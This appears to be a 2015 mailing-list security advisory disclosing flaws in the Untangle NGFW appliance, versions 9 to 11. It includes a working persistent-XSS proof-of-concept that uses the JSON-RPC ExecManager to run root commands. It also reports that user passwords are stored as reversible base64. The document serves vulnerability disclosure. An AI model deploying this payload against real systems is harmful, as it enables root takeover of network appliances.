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Date: Sun, 8 Mar 2015 21:32:52 +0000
From: Hutton <>
To: "" <>
CC: "" <>
Subject: Multiple vulnerabilities in Untangle NGFW 9-11

Multiple issues have been discovered in the Untangle NGFW virtual 
appliance. The vendor was unresponsive and uncooperative to the researcher.

- Persistent XSS leading to root
Authentication requiredConfirmed in versions 9 and 11 (up to rev r39357)
 the Untangle user interface there are editable data tables for various 
user configuration options. An example of this is in: Configuration >
 Networking > Port Forwards. This table can be edited by clicking add
 to create a new port forward rule, or directly edited by 
double-clicking on the table rows themselves.
 problem arises from malicious user input into some of the fields of 
these editable tables, which is not properly sanitised and allows for 
execution of user supplied Javascript code in the context of the users 
browser. Because this configuration data is saved into the backend 
database, this allows for Persistent XSS in each of the vulnerable 
This XSS attack is particularly 
devastating due to the fact that the malicious attacker can run commands
 as root on the virtual appliance, allowing for total system takeover. 
This is because the Untangle JSON-RPC API has access to functionality 
provided by the ExecManager class 
 which by default allows for arbitrary commands to be run as root on the
A POC demonstrating the issue is below:
 the following into the srcdoc attribute of a user-controlled iframe in 
the Description field or another vulnerable field (can also be styled to
 hide etc):
Test <iframe srcdoc='[insert code]'></iframe> (single quotes)
<html><head>        <script type="text/javascript" src="/ext4/ext-all-debug.js"></script>        <script type="text/javascript" src="/jsonrpc/jsonrpc.js"></script>        <script type="text/javascript" src="/script/i18n.js"></script>        <script type="text/javascript" src="script/components.js"></script>        <script type="text/javascript" src="script/main.js"></script></head><body onload="exec()"><script type="text/javascript">        function exec() {                var rpc = {};                rpc.jsonrpc = new JSONRpcClient("/webui/JSON-RPC");                var serverUID = rpc.jsonrpc.UvmContext.getServerUID();                alert(serverUID);                rpc.execManager = rpc.jsonrpc.UvmContext.execManager();                var cmd = "whoami > /tmp/who";                var exit = rpc.execManager.execResult(cmd);                alert("Command: " + cmd + " - Exit code: " + exit);        }</script></body></html>
- Information disclosure from Local Directory
Authentication requiredConfirmed in versions 9 and 11, not fixed.
 Local Directory interface shows a list of users stored on the Untangle 
system. Unfortunately, passwords are not sufficiently encrypted to 
prevent information disclosure.
Each user in 
the local directory interface has an attribute, 'passwordBase64Hash', 
which is the base64 encoded string of the plaintext password. Because 
base64 is a bi-directional encoding scheme, the passwordBase64Hash 
attribute can be trivially decoded into the original plaintext string, 
revealing the password for each user.


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